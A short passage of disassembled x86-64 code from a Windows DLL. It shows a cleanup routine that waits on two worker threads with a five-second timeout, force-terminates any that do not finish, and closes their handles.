call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180006d4f
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180006d45
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x180006d7d
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180006d73
mov rcx, qword [rbx + 0x18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret